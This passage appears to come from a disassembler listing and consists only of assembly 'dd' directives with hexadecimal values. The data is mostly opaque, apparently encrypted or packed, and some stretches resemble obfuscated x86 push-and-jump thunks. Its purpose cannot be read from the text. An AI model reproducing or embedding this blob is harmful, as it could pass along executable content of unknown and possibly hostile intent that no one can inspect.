		dd 364ABBB8h, 66DD40Fh,	0B1A29DE7h, 0E1724F54h,	1EC5F004h
		dd 4AA9A4F1h, 4703AB41h, 0C8C584E4h, 0D5DE8379h, 50A514F8h
		dd 2B619165h, 0CC7669Ah, 70E23240h, 0A000003h, 941D27A7h
		dd 88517C3h, 941DE0E4h,	3F1367C3h, 403CA32Dh, 76889438h
		dd 85C165F7h, 0AC394F3h, 0C64E1630h, 79BD84A4h,	0D92ADB01h
		dd 7A8F7EECh, 276B04Fh,	0D568B64Eh, 3A4FB83Bh, 1963BB0Fh
		dd 1154D802h, 5644701Eh, 0EEBE36Ch, 2A188C6Eh, 8E555h
		dd 0D8F70300h, 0AE9BEA1Bh, 704958B5h, 0C5FC02E3h, 94ABF11Eh
		dd 0AE1084Fh, 0FB14CFF6h, 0AB449FA2h, 14F1625Dh, 0DC2D3603h
		dd 0E4EC980Ch, 9463C584h, 0F8D5DE2Ch, 6550A514h, 0E3D22891h
		dd 0FF67AE1Fh, 0D62A9EA9h, 56500EF2h, 811B3B57h, 0D5D8C04h
		dd 0C4743240h, 90000002h, 941D27A7h, 88517C3h, 941DE0E4h
		dd 3F1367C3h, 7F0BA32Dh, 0F0C3941Dh, 925C8Ah, 0C74B8695h
		dd 30916583h, 50BD844Ah, 0EB3B99C6h, 12C0FB69h,	7B4CB6D2h
		dd 27C1393Ah, 0EEC0928h, 0A04831D8h, 1A6F9E4Ch,	0F45865BAh
		dd 46A7BC90h, 0AEBC003Dh, 0EC1A257Fh, 0DD22CCD0h, 1F381CE0h
		dd 0E0B1391Bh, 3923071Ah, 700054B5h, 66E1D944h,	8C6DF04Ah
		dd 17CE8181h, 75000008h, 0DCC92A21h, 8A7BF8C9h,	7491427Fh
		dd 23CC172Eh, 0C67DE6D9h, 19247C9Fh, 0E9D42DDAh, 0BC8B9D0Ah
		dd 3D46A7h, 0AAC22ED3h,	0C584E7DEh, 0DE7AE251h,	0A514F8D5h
		dd 48F76550h, 0F819AEB3h, 79D17F40h, 0E308859Fh, 24F16096h
		dd 9E0F2EABh, 2DFECDE6h, 6C40A456h, 2E405F7h, 7CD3241h
		dd 2B000000h, 1E6C8h, 21A75000h, 1DC3941Dh, 0E476E47Fh
		dd 941D0440h, 99B78BC3h, 0B33B45D7h, 0C3941DD7h, 6E29B958h
		dd 0F83781B3h, 0AADE5684h, 3DC39430h, 0E75B2BC5h, 78BD8467h
		dd 0D82DD802h, 0A81C2D78h, 2E37054h, 3870C4F1h,	990DDF64h
		dd 44702D68h, 28529DE5h, 0DB8C6DCDh, 758A86Fh, 62B40000h
		dd 81F886Bh, 0BECD3A39h, 6FB75083h, 1E628350h, 5E853C27h
		dd 995A65BFh, 0C92A176Ch, 66FDC8DCh, 92417C89h,	1F6B8369h
		dd 90C584E6h, 0D5DEBB21h, 50A514F8h, 1D6F1B93h,	0AAEEC394h
		dd 0F2D62CABh, 536EBD68h, 69E35DB5h, 0BECB6BBCh, 2781AF83h
		dd 193441A6h, 0F10F3EDAh, 103A3240h, 0C2000000h, 126C8h
		dd 93B72400h, 0CAA519FDh, 0BDC43AD4h, 0D8764B50h, 941D7B0Ch
		dd 122973C3h, 0F001BEC8h, 0D73FAC67h, 4FEC7896h, 20BD8467h
		dd 178610DAh, 0D413504h, 0B9196AE3h, 86B1C761h,	1195A2h
		dd 0F9AB82D3h, 64B15E85h, 0F785E569h, 9776FE6Ch, 1844708Ah
		dd 735762B7h, 6D6AF8F4h, 4C03078Ch, 692h, 0B6ADA4EEh, 0E0734E59h
		dd 1EC5F407h, 49AAA9F1h, 0FA79445Ch, 0A3F9145Bh, 51A6479Ch
		dd 0E16F76Ch, 0B6C32C37h, 0B9B3589Bh, 84E15135h, 0F167D6C5h
		dd 14F8D5DEh, 0F5C4D7C6h, 4FA1F25Bh, 1B026CAAh,	829B62ABh
		dd 93F7CBBFh, 6DFF712Fh, 94878DF9h, 513802C3h, 0C4DE0847h
		dd 0FAD720C9h, 467D8570h, 1CCDCFA8h, 2232418Bh,	2397AAF3h
		dd 7B841EFh, 44000000h,	4EC8h, 0D5DE5000h, 50A514F8h, 0B3B19165h
		dd 1DF98D21h, 8B23C394h, 0C3941DFFh, 438D0A70h,	941D5F2Bh
		dd 0F6EAD0C3h, 0A64F5E58h, 0BFA605Dh, 71485BF1h, 0E155498Dh
		dd 0FECBDCADh, 46609750h, 0FC000000h, 48110911h, 51636400h
		dd 0A4F746BAh, 0DE857B95h, 0C614F8D5h, 0A024F499h, 4B916052h
		dd 94ADA723h, 34D228C3h, 94AD21A0h, 3CC913C3h, 1D62C2D7h
		dd 4785C20h, 415944D6h,	0BA4A8E72h, 0C394ADCEh,	14CF7941h
		dd 4B50BDECh, 2075D876h, 3349A115h, 1D3256DEh, 4DB5C394h
		dd 0C06B8369h, 0D4BD844Ah, 58E7DA29h, 7555368Fh, 0C542ECE3h
		dd 75BE6FFDh, 9AD73A83h, 3428C6E9h, 98B5FE2Fh, 93A8F434h
		dd 0E90B2549h, 0A731446Bh, 4AAC7B0Fh, 58F6CC30h, 0A85587FBh
		dd 7410945Fh, 0FB304AACh, 57B0A387h, 6B837742h,	4CE00A11h
		dd 4E41AB51h, 3D041A8Bh, 4FE77549h, 2E47B13Bh, 0BB98B68Ch
		dd 540E8847h, 0C54D927Eh, 51102h, 2C1B6F00h, 0F2CFD637h
		dd 44758461h, 29286E9Fh, 0F8C7DDCAh, 7695DC7Bh,	27C01322h
		dd 9770E3DEh, 40ADB681h, 30D91A37h, 0E0D0B438h,	0E857C584h
		dd 0ED5DE70h, 941DE2E6h, 391D65C3h, 881CAE3Ah, 0C3941DFCh
		dd 6CE10F73h, 0F35A2E1Bh, 1A41ABA6h, 48CF95E5h,	8189A7B3h
		dd 9FDC0D8h, 947851A0h,	1CE0DF25h, 0D5D0CA38h, 26266662h
		dd 9CF00369h, 3CE5E022h, 0FB05DEEBh, 32413B52h,	6F7Fh
		dd 0D6F9900h, 0D740E476h, 58BD9EE1h, 0B94AA0F7h, 0BA2A03C8h
		dd 0F3795DB1h, 18DBF202h, 7CF0028Ch, 3A608B08h,	0DFABBB9Fh
		dd 503A608Bh, 5A28BC6Ah, 0B83A608Bh, 8408374Dh,	97AAF940h
		dd 6D839479h, 1B509E5Ch, 8D564A5Ah, 0BDCF1460h,	60E95D29h
		dd 18E8D23Ah, 3A60E96Ch, 0B1BB9FE3h, 29AC9B0Ah,	3BD55D86h
		dd 42870D7h, 1EC0000h, 352BC5F8h, 0E4760D6Fh, 63D7EA39h
		dd 0C76F012Fh, 0BD9F1AC2h, 228B7F43h, 3010E4D1h, 0E9B3EBFAh
		dd 21648852h, 26446BE1h, 455707DCh, 10A22C3Eh, 7DE8E89Ch
		dd 0ED1B7F30h, 76EF2C19h, 75D9214Eh, 9B417C84h,	0BC8D9C09h
		dd 87CF4C8h, 9F2E4AF2h,	66EAE72Eh, 287FCE22h, 0FE1BEF19h
		dd 5A758372h, 327492F6h, 6CA1FBB3h, 4AF28CF8h, 0A5C9032Eh
		dd 2E4AF221h, 4785CA6h,	0F56B5ED6h, 86FC5041h, 0D222D35Dh
		dd 0F7ED990Dh, 18622447h, 0D27C5024h, 0AF132E7Bh, 5298B5FEh
		dd 0F4C3D5C0h, 4004CC00h, 0C72447F7h, 0C49255F3h, 0B5D155B8h
		dd 3A2447F7h, 0EC7EECC0h, 47F70C78h, 91BF8324h,	0ABC34DDFh
		dd 2447F7DFh, 9064595Eh, 51FFC3BCh, 4CF33885h, 46EE0D5Ah
		dd 0DB0E7E0Bh, 2F3795Dh, 0A4951F1h, 9A6E4286h, 0A08088A6h
		dd 225C3620h, 44F867F5h, 26A49034h, 7A8B2DDBh, 8F36786h
		dd 714214h, 0BDAA0000h,	80744550h, 0AE4CB34Ch, 93EE7C68h
		dd 0C8532975h, 0EE069022h, 0C394439Ah, 6BFB156Dh, 0BD9F5BCAh
		dd 61EB5FA3h, 0BCC26EB4h, 22DDA185h, 0A76BFF31h, 3CEACE5Bh
		dd 61D0D8A8h, 0E741593Ah, 0FB4FA39Eh, 43370E12h, 0E29C2903h
		dd 0A058554Fh, 2C36BD89h, 6E8408B7h, 0E2FD891Dh, 8723A61h
		dd 0F52696CFh, 3EBBCF67h, 360C3A61h, 0CD4118h, 0DEAF0000h
		dd 8372F8D5h, 91F55970h, 0D62A9377h, 61B21BEFh,	0EC39E054h
		dd 98012C0Ah, 48AC0A6Dh, 3D7A03ABh, 0A8FDC394h,	5CA9469Dh
		dd 0FF9D9D61h, 977EF664h, 5BD9F08h, 121773FBh, 37983A61h
		dd 2B6FD3EEh, 6F870837h, 0AF9A400Dh, 0B2B88281h, 0B0043B43h
		dd 6531B25Ch, 61DE0C17h, 7DD23BFAh, 81DEC1Ch, 0DB75493Dh
		dd 0BF6C9D11h, 99E1446Ch, 675EA253h, 0C00913FCh, 739CD8ACh
		dd 0E26BAF30h, 0F8DCA09Dh, 7F4D4B84h, 80828C6Ah, 225CFh
		dd 18374300h, 0EEDB2ADBh, 0B0899875h, 53C42A3h,	0D4EB31DEh
		dd 4AA1C80Fh, 3BD40F36h, 0EB04DFE2h, 54B1A29Dh,	1CED7643h
		dd 1D2C58CCh, 0D4A3C585h, 0FBDADE6Ch, 4F7A8F78h, 162B709Dh
		dd 6F997FF8h, 39E4760Dh, 0B933DDE0h, 9F058435h,	2D91E9BDh
		dd 15608D1Fh, 0F47C5024h, 3A60CB90h, 71052317h,	3A60CB11h
		dd 0ECA714C4h, 479CD0DCh, 28325C3h, 35EF5F8Eh, 0EAFE5D2Ch
		dd 501A288h, 0D713E600h, 0FD000000h, 14F8D5DEh,	1E965FA5h
		dd 0C3941D6Ah, 0DDA185FDh, 941B4C15h, 749AEFC3h, 8B70186Ch
		dd 5D86FA39h, 0E66A67B0h, 26A2CA54h, 0A93C6BD2h, 95E7B751h
		dd 21C85C8Eh, 0F34260E5h, 7CC0FD02h, 2911EE18h,	9E106CCAh
		dd 9547BB9Ah, 6D301311h, 74E6DC44h, 9F4D7089h, 73107317h
		dd 608EF430h, 3A051F8Eh, 89B4CC39h, 6AF3847Eh, 0E45BAF8Ch
		dd 132h, 0D60D444Eh, 0D3EE39h, 0BEA594E7h, 0E90A4951h
		dd 1AD9E43Ch, 4359B4BBh, 0F106E77Ch, 0AEF617CCh, 56A34C97h
		dd 0D913F87Bh, 851C3155h, 51C7B6C5h, 0CFBB33BDh, 2DC3941Dh
		dd 941DCDB9h, 9F7842C3h, 78808DBBh, 1B669745h, 0EC7E5226h
		dd 941D0C78h, 91BF83C3h, 0C7E55AD6h, 9CD1CDA3h,	0B465138h
		dd 2A2770DDh, 50BDCBC9h, 4C807445h, 635EABA2h, 0E8E52E9Fh
		dd 0B6899302h, 87608EC2h, 1A3DD605h, 372D9D7Fh,	7F982259h
		dd 0BF581309h, 879FA63h, 0DDE10FD1h, 0EAE931BFh, 0A3C064F6h
		dd 2CBD8473h, 839904D6h, 5AF4C8BCh, 1CF207F6h, 816C6D38h
		dd 1F2A7DAFh, 1F7357ABh, 0E3DE2BC4h, 4799D71Fh,	67BD8926h
		dd 0E933E266h, 20F562D6h, 8F7F8422h, 8984A286h,	0F1CCD47Ch
		dd 0EFC3F208h, 268E9B74h, 3A1EE2DFh, 738B72C6h,	0EF2C1D9h
		dd 44A50DCAh, 39B9BA17h, 0CCC471C5h, 0F2CFD8C1h, 3256DE68h
		dd 0B565054Dh, 27C0A34Dh, 0C913E7D2h, 4D5337BFh, 0EED46505h
		dd 3E6F8651h, 0C563B624h, 115Eh, 0E884E600h, 68DCEB3Dh
		dd 311FEB14h, 34F19D6Dh, 0D4DE241Ah, 57A009FDh,	0D127967Ah
		dd 52AB12E6h, 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h
		dd 0FA0DFC40h, 68CF7BCFh, 2E87h, 50241489h, 405E089h, 83000000h
		dd 48704E8h, 2C895C24h,	0E7895724h, 4C781h, 0EF830000h
		dd 243C8704h, 240C895Ch, 8904EC83h, 6EBE2434h, 890610F3h
		dd 8B545EF5h, 0C481240Ch, 4, 599868h, 242C8900h, 8B08418Fh
		dd 8950240Ch, 405E0h, 4050000h,	87000000h, 0FF5C2404h
		dd 815D2434h, 4C4h, 7BDDE900h, 2CD2FFFAh, 4A1CDDAFh, 0B818D99Ah
		dd 61102E7h, 0E0FFC503h, 651241FDh, 6CD8CBDBh, 6C55BF55h
		dd 1633140Ch, 33249845h, 37EA18F0h, 2CC0F5FCh, 567A18B5h
		dd 35BCE4DCh, 33EFB9F4h, 671571E4h, 6056B3D6h, 19D6EF14h
		dd 786EBC49h, 79A73E4Ah, 77E3D205h, 7BF5EEC6h, 51FFDA11h
		dd 2488B27Eh, 52B39A69h, 4AB6E430h, 4B610EC7h, 2DF389A7h
		dd 57494D83h, 17DE9h, 0FE5D6000h, 0C2016C4Fh, 0CAD1D76Fh
		dd 7E41EFB4h, 9752E45Bh, 0A3FB6D5Dh, 0B99244FCh, 0D792A59Eh
		dd 0B9E495BCh, 0B2CB0093h, 0ACA3F49Dh, 9EB9FC9Ch, 0C945D200h
		dd 0EE73AFh, 0BA9755FCh, 0E56D599Ch, 0ACFFB2A4h, 57F647FEh
		dd 0CCD4C456h, 7DB5F600h, 9549F78Fh, 0BCFA9753h, 5CCD45C9h
		dd 0E56CA191h, 10000ACh, 43h dup(0)
		dd 0D1F80000h, 0DA43736h, 66FD3C2h, 0F2E94B58h,	6800000Fh
		dd 6110710h, 0FB3DD8E9h, 7EA68FFh, 0CEE90611h, 68FFFB3Dh
		dd 6110969h, 0FB3DC4E9h, 0A2668FFh, 0BAE90611h,	68FFFB3Dh
		dd 6110B3Ah, 0FB3DB0E9h, 0C4968FFh, 0A6E90611h,	68FFFB3Dh
		dd 6110CD3h, 0FB3D9CE9h, 0D4868FFh, 92E90611h, 68FFFB3Dh
		dd 6110E64h, 0FB3D88E9h, 0F2368FFh, 7EE90611h, 68FFFB3Dh
		dd 6110FE6h, 0FB3D74E9h, 109068FFh, 6AE90611h, 68FFFB3Dh
		dd 6111167h, 0FB3D60E9h, 129B68FFh, 56E90611h, 68FFFB3Dh
		dd 611136Eh, 0FB3D4CE9h, 0A6205DFFh, 0E3DB1ED9h, 3C9AD114h
		dd 7A549053h, 0B4126A8Dh, 792DC2CBh, 3F3A8501h,	0FC77C0BEh
		dd 0B0B31C7Ah, 7EF35C3Ah, 6248D51Eh, 226F7BAEh,	5836B43Bh
		dd 0FBD329B2h, 7AC0260Ch, 58BFCB1Ch, 31AA4F8Ah,	0CD2DDFB7h
		dd 0E770FB11h, 816F9258h, 0C304804Bh, 8A25D2ACh, 0BC0DEF21h
		dd 4C82h, 637B9300h, 8D43A19Fh,	2586A9D9h, 0E407DC1Ah
		dd 528A5DEAh, 5F4F8B53h, 0E88E661h, 93125825h, 27837F6Fh
		dd 0D2915705h, 73888113h, 0B607D27Dh, 0AC6F9317h, 7D8724Ch
		dd 0B7FEDE9h, 5B3CE6D5h, 78E33685h, 2BBC0D33h, 0C1h, 5836B4CCh
		dd 92D129B2h, 6DCD7F57h, 5A9C57B1h, 4339D37Ch, 0FC6E6880h
		dd 2FA7C71Ch, 0B732DD3Dh, 0E0635D39h, 3FE30985h, 85FB7C10h
		dd 855EBE09h, 15E06F67h, 759D58D2h, 430C8AE0h, 0D42B4AA0h
		dd 8EEC1EFAh, 0B65432B5h, 0F1F5BD4Ah, 68042F09h, 6D4F8A6Dh
		dd 0D60822EDh, 6E21326Ch, 6D49845Ah, 5DD64E87h,	2783B9E2h
		dd 90EE0EC9h, 0D2ACCC27h, 5A74A410h, 8441EBE4h,	0D72h
		dd 804F47A4h, 3B840265h, 7AC5C138h, 0B4037BFFh,	0F25D39B1h
		dd 2840549Dh, 0E506E1AEh, 0A1DB1EE9h, 619F5A25h, 27519A65h
		dd 0AE636F3Ch, 0D205847Bh, 7A549651h, 4DF68D0h,	4B8CEAE4h
		dd 0BBAA5531h, 0FB4442B8h, 9F637B84h, 7436B6A1h, 0C73B4F8Ah
		dd 34398225h, 9D536F92h, 1770DB2Eh, 0B833BC0Eh,	0C4000000h
		dd 78569651h, 0F8D614CFh, 250E6C52h, 759D5D58h,	0F174837Fh
		dd 0C5231D79h, 45EEE802h, 759D5CB8h, 38D463DFh,	9D5934B7h
		dd 92EC0275h, 5D39B3B4h, 0FAD414AFh, 0E702F11Eh, 0B00E6A89h
		dd 6A4836D4h, 9D5834F9h, 50FF4375h, 40BE845Ah, 8A6DFB97h
		dd 0B502FE4Fh, 0A781697Dh, 845DF4BCh, 0D7310949h, 15E2DC1Ch
		dd 225B9AD2h, 940AC8A4h, 8BE45AD2h, 0C9824E1h, 215E0000h
		dd 0DC1FDAA5h, 9BD215E2h, 55915423h, 136B8E79h,	2EC3CCBBh
		dd 3B84027Ah, 78C7BF38h, 0B4037BFDh, 0F4433BB1h, 49D6017Fh
		dd 6E7BAE64h, 34B43C23h, 5C820FD8h, 0A991759Dh,	89E702CDh
		dd 0B45B420Dh, 7E5836h,	9D5D4AD7h, 75F66975h, 530FF319h
		dd 1957E8A4h, 5C67343Fh, 8C8C759Dh, 0FA7DF6D0h,	0AE0A84FBh
		dd 6678B2A1h, 89321CF6h, 0EC50B183h, 681DE96Fh,	4EA804E0h
		dd 8AFF2DE5h, 228104Fh,	930020A9h, 47B24A6Fh, 0EAE404DFh
		dd 4BE9525Dh, 74BABC0Dh, 42000000h, 0B2EF364h, 0FA7C6F93h
		dd 75827E9Ch, 9F637B0Eh, 7056B6A1h, 655B4F8Ah, 924F2DF2h
		dd 1AF64A6Fh, 0C6C03B3Ch, 8BDC9739h, 256F9250h,	4AA8DC2Fh
		dd 924F1499h, 9559176Fh, 39AF8A0Ah, 9D103F03h, 0BC0E8536h
		dd 2AE9h, 637B8E00h, 5EB6A19Fh,	434F8A7Eh, 519A4DFFh, 7B6F923Eh
		dd 0B0EE16E5h, 923CDAA7h, 0F601F96Fh, 0E0E50BBh, 7D3BCh
		dd 0CEE40000h, 89Bh, 0F8637BD7h, 48A6027Ch, 8C580C9Fh
		dd 211FE34Fh, 862E5C3h,	57D8A58Eh, 3FF6F8Ch, 576D3225h
		dd 0B68A6F8Ch, 3690EE89h, 1150AE49h, 0EB01FDD9h, 85E3479Fh
		dd 7B551A52h, 0CD2B1749h, 0D9A6B1EFh, 0FE697B53h, 62880665h
		dd 0E901C2BEh, 698762EDh, 2947A26Dh, 0F3EBBFADh, 6206D10Fh
		dd 6743684Eh, 271599Bh,	0E486EA6Fh, 0B1929h, 26A0DD00h
		dd 635B9E59h, 0BC1A5194h, 0FAD410D3h, 3492EA0Dh, 0F9AD424Bh
		dd 0BFBA0581h, 7CF7403Eh, 30339CFAh, 0FE73DCBAh, 65C8559Eh
		dd 0A2EF7BAEh, 589651BBh, 0E36CCC7Eh, 9D5CC710h, 0A68C5275h
		dd 57FC9F48h, 0FF34F8Ch, 0E9746A40h, 271B318Dh,	0F5E76D4Bh
		dd 8576C64Ah, 0F16262EDh, 497B2C1Eh, 0EFE706C1h, 625CBC60h
		dd 14548BE1h, 0F671DEBAh, 0A4EC1E78h, 559EF842h, 436A291Dh
		dd 0A71F5F00h, 146AEDCBh, 0D42ACDBAh, 0E46A50FAh, 64D0220Bh
		dd 0A2D81B27h, 2DDA0624h, 69C00F5Ah, 6ED40AE3h,	0C6FB2730h
		dd 0E4C2BD56h, 5EA6AE73h, 0CA75C5DDh, 0CA282A16h, 0C17080A9h
		dd 0A5CEA2Bh, 5D920000h, 18539661h, 0D716D1BEh,	91D510FFh
		dd 4FAF4A35h, 6A878877h, 0F7403EBEh, 3483FB7Ch,	70DFB731h
		dd 0B01F77F5h, 850ADDBBh, 927BAE66h, 637BF81Fh,	0D3B6A19Fh
		dd 0D84F8C58h, 0AFCD0660h, 6F8D68D7h, 1A333917h, 0ECEA0C98h
		dd 27C7A15Ah, 0E26DC9C5h, 0BE845A2Eh, 7AC48A40h, 0B7099641h
		dd 0D22E6F8Bh, 82B9E31Ch, 35CC1775h, 12497B58h,	0F977F02Eh
		dd 1CD2329Dh, 0A09683C9h, 5D18274Bh, 0FD85A71Fh, 3C2701E9h
		dd 4369DBACh, 845FB981h, 91ED0F66h, 5C2B877Bh, 0C16B6399h
		dd 69DBDD6Eh, 58A24463h, 0D856F57Eh, 0FD5D3D58h, 4CA2A583h
		dd 0CC22C572h, 58B694F2h, 58D7028Fh, 3A29115Dh,	5D58D675h
		dd 9740BE82h, 5D58D70Ah, 3726D129h, 0A368FBD9h,	0B05D58D6h
		dd 57F5D12Fh, 65000FEBh, 159D8F07h, 240F69D1h, 3747D349h
		dd 402E64EAh, 0FF4C86B3h, 0BEACAC50h, 0D00EF4EAh, 34FA5707h
		dd 0C6DE631h, 97A098B2h, 7DF15E5h, 18FCA296h, 9489372h
		dd 718E0000h, 2C4FAA15h, 0EB02E552h, 0A5C12493h, 639B5E29h
		dd 7EB39C6Bh, 8B7452AAh, 0C8B70F68h, 4F3CB2Dh, 44338BE1h
		dd 9966F1AFh, 0BE7BAE67h, 36B48CF3h, 0D7007E58h, 759D5D4Ah
		dd 0AA669169h, 49E3DB11h, 5AE7D22Ah, 723F2824h,	81759D5Ch
		dd 60E3DDB9h, 3F9D8F07h, 9D5C6734h, 0D08C8C75h,	8EF53827h
		dd 11B602EDh, 1Bh, 8916C13Fh, 0AE759D68h, 513EA552h, 5D1BE073h
		dd 0C038759Dh, 502C637h, 0D4EF0000h, 6787405Dh,	7B91ED08h
		dd 961C2B87h, 0AE8CEA50h, 5D1AE770h, 0C139759Dh, 7FEDE902h
		dd 0DDE17483h, 0F84F8A74h, 0BDBCA700h, 4C927E83h, 1876509Ah
		dd 426A0DFh, 0A4582BD4h, 91767370h, 526F49C3h, 96BD0220h
		dd 4998A555h, 5BB511CDh, 2C25EA7Dh, 0F30B967Bh,	6E99619Bh
		dd 2A10D6A2h, 0AEAA1BCCh, 6F4D706Ch, 949A47D9h,	3E25A992h
		dd 906D4871h, 0D38DBA86h, 0B836316Fh, 78F671DEh, 70AC41Eh
		dd 4BE1BD72h, 8398Ah, 680FD00h,	433BBEB9h, 9CFA71F4h, 0DAB43033h
		dd 14728A6Dh, 998DA2ABh, 5F9A6561h, 1CD7A01Eh, 0D013FCDAh
		dd 9E533C9Ah, 68A875FEh, 0C2CF7BAEh, 5836B49Bh,	0F5D129B2h
		dd 0B2C90A0Ah, 0EBA036D4h, 59A9C84Ah, 5357E05Ch, 9E49A78Bh
		dd 4F8CFB15h, 7FF8D62Ah, 3F3A8501h, 8DEBC5C1h, 8CFAD55Ah
		dd 0C51EE26Fh, 721E29A5h, 1C7AC026h, 7BF73CCBh,	0F9D72B49h
		dd 3986007Eh, 24C6C03Eh, 0E1635B93h, 0E4635931h, 0AFE924C6h
		dd 67000007h, 20C38C0Ah, 0FB7EC9C5h, 0BABD0A84h, 7CF7403Eh
		dd 0D83582FCh, 93EB0317h, 2EA8C124h, 6A648661h,	0AA245A9Dh
		dd 0FF6814DDh, 7BAE6932h, 7B154841h, 0B6A19F63h, 4F8C58DFh
		dd 64293A18h, 736F8C58h, 7CDC808Fh, 0ADA7C102h,	8C57F5BAh
		dd 423E026Fh, 0DE1CD7B5h, 8C686687h, 0CCCA20C3h, 0AE944A5Eh
		dd 6FCBE770h, 72CE4979h, 5E204AF0h
		dd 0EA2BC1E4h, 73Ah, 0B8077FFCh, 0F35C3ABDh, 329DF970h
		dd 6CDBB337h, 0AA157189h, 60988CA5h, 1D5E9966h,	0D913D6A1h
		dd 99D712FDh, 0FF99523Dh, 0AE69A774h, 9AFDCC7Bh, 0B25836B4h
		dd 469906CCh, 12CA732Ah, 92EC02E5h, 8D56B4h, 17759D65h
		dd 33701C2Bh, 3DB3CE3Dh, 89EC6741h, 1813020Dh, 0B602E1B3h
		dd 0EF0660E3h, 2018328Ch, 0CD7AA644h, 0C58h, 96517D00h
		dd 6FD07F57h, 300h, 5836B408h, 9006CCB2h, 132C1D81h, 0B9BDA233h
		dd 229E8EE7h, 86499D15h, 1AC66462h, 0B219DD9h, 0CA1D7BD7h
		dd 4F8CE23Bh, 8C67D028h, 61FA106Eh, 0E8C28D09h,	0B6106BF6h
		dd 0BF6BFCDAh, 0AA497BDDh, 81FF7856h, 0DDCF5C87h, 73E4697Bh
		dd 0B16983FBh, 0C41F79D5h, 301F28A6h, 42B8B735h, 9E7AA644h
		dd 0C9142A0h, 2B697BDEh, 0E0DE1CD7h, 0CA22B557h, 0E7605ECCh
		dd 0F7DC6789h, 5E3FA7EFh, 679048E2h, 79579B43h,	68E06EEEh
		dd 9641BF43h, 6370BF09h, 5836B52Eh, 51A953FCh, 6E917393h
		dd 2FEE9CEAh, 61Eh, 54239BD0h, 8F785691h, 0CEB91554h, 8F7CF2Bh
		dd 46318DEDh, 7CFCA849h, 39B2B502h, 0F577F25Dh,	0B5CB2E99h
		dd 9B856ED9h, 0AE6AC348h, 0A6D9D07Bh, 0BE3F36B4h, 7EBB6DAAh
		dd 78D4741Dh, 49A1A29Ch, 500EC24Dh, 748A679Ah, 3324DBCFh
		dd 759D7D6Eh, 2ED9B585h, 8DB354Bh, 759D7D83h, 5ECCA890h
		dd 0BD383B59h, 7E0B9043h, 0D028759Dh, 0C635CB74h, 6F67855Eh
		dd 0C11977FDh, 50B9318Ah, 52A84BF4h, 3BA08B74h,	7BB602D0h
		dd 0EB017DF8h, 181F0837h, 21000000h, 5DCFC726h,	8864629Ah
		dd 0D412C746h, 0E26D60DAh, 146CEFBh, 51D70000h,	0D17E5896h
		dd 64FED816h, 0D841F3D2h, 5F02C369h, 97000005h,	50937C5Ah
		dd 2BCEB915h, 0EA0DFAD4h, 0AC47308Eh, 8885724Ch, 433BB367h
		dd 9EF871F4h, 0DAB43631h, 1A748A6Dh, 0FD844ADh,	7BAE6B82h
		dd 0B4E51891h, 0E57E5836h, 0D25F8884h, 0E1759D5Ch, 0FE92BD19h
		dd 0A8264780h, 36B15E82h, 772CDEB8h, 17F0AF1h, 19DA3A85h
		dd 2DF265DFh, 4A759D5Dh, 8AF01AF6h, 9D5CD459h, 0A31FE375h
		dd 0E9B21994h, 0D75B602h, 2000000h, 0B7CEh, 0B1CED700h
		dd 0D7000000h, 0A19F637Bh, 5D0B9043h, 481C759Dh, 0F0B01503h
		dd 3CCB37C5h, 7BFC8B5Ch, 17EB4F8Ch, 7339ADF5h, 8C7C1BE0h
		dd 3C0386Fh, 0D630ECEAh, 799AC10Dh, 0E803D449h,	283032EEh
		dd 2FE45DF7h, 49C40BDh,	1D520000h, 0D813D6A1h, 97D611FEh
		dd 5195503Fh, 0F6F8A75h, 2AC7C8B7h, 3780FE7Eh, 74C3BB3Ch
		dd 0B01F77F1h, 0F05F37B5h, 45CA1D7Bh, 527BAE6Ch, 637B385Fh
		dd 38B6A19Fh, 3D4F8A30h, 960E3DDh, 0A0A39F8Dh, 78A04A44h
		dd 0F776F1CFh, 9525309Fh, 0A46F9210h, 0D9734BA3h, 0EAB70E3h
		dd 70C86F92h, 72886B94h, 3148AB14h, 2F56B755h, 7F000004h
		dd 0A19F637Bh, 8C57DFB6h, 0A0DF184Fh, 3AB30426h, 0A557E05Ch
		dd 29C3BB32h, 0A3F715F1h, 5E99F73Bh, 25A1C41Bh,	0D07FDB07h
		dd 76DB67F0h, 2FE4979h,	5E1A42C0h, 0C203A9E4h, 3F2h, 0CFC724h
		dd 0BB0482E5h, 0FA4541B8h, 3483FB7Fh, 72DDB931h, 0A8C0D41Dh
		dd 6586612Eh, 215B9E69h, 0E11FDAA5h, 0A7D11AE5h, 0AE6CEFBCh
		dd 5285047Bh, 1629B51h,	15527069h, 0D41EC0EAh, 0B5BE9CFAh
		dd 759E14E8h, 7104330Fh, 4F8D0FA6h, 7C5A9E59h, 3BE512CEh
		dd 106EE9C7h, 0D02EC9B6h, 0C65298F6h, 6DEE17CAh, 0DCA46897h
		dd 0C6200Ah, 5962C355h,	81FF08E0h, 0D9245A3h, 0F66F8C91h
		dd 8C90A06Dh, 0B14BB76Fh, 0B32BBE49h, 0BE497B8Dh, 8DE36442h
		dd 4DA34631h, 8C9B60F3h, 40B8697Bh, 0DF1846E4h,	0D60A209Eh
		dd 0F25D8129h, 47A11D79h, 0FE6C6A8Ch, 8CCA5780h, 11E9697Bh
		dd 2C0A8AB5h, 0CCECFF26h, 19269F9Fh, 68BBAA4Eh,	8143BF43h
		dd 0EA6E948Dh, 1B8D48E2h, 0D3000003h, 9C57209Eh, 57927D59h
		dd 16D1BE18h, 0E80BF4D2h, 44493690h, 77FFFABh, 423CBDB8h
		dd 9EF872F5h, 0DEB83631h, 4B9CF871h, 7BAE6DC6h,	0B4B9DCEDh
		dd 8409DA36h, 93759D5Ch, 8659F3AFh, 0D2306E68h,	9D5C7C01h
		dd 98A79B75h, 0F25D81A9h, 0A4C41F77h, 7CD8002Ah, 58C5D102h
		dd 58A04F8Ah, 58B039B2h, 47A66F92h, 0E41ADD4Fh,	5832FF68h
		dd 0F9416F92h, 0B088EF1Dh, 60F85F49h, 0EEDB4099h, 18DBBC0Dh
		dd 136888DCh, 4F7EB675h, 76817993h, 2581h, 30B48F00h, 7B32A956h
		dd 0B6A19F63h, 4F8A7436h, 8225C73Bh, 6F923439h,	0DB2E9D53h
		dd 0BC0E1770h, 0CB33h, 36B4C400h, 0D129B258h, 6E8C57F5h
		dd 69303610h, 0F2C876B8h, 9EFC90BFh, 34EAB7A0h,	3109759Eh
		dd 0B10D6306h, 0C81B7957h, 759E3543h, 0B67BE850h, 0E4759E34h
		dd 0AF60482h, 34763B2Ch, 0BD9D759Eh, 1550A392h,	23759E31h
		dd 0E306F1CDh, 8F1B318Dh, 0A2B59357h, 4F8B3E72h, 1876F46Fh
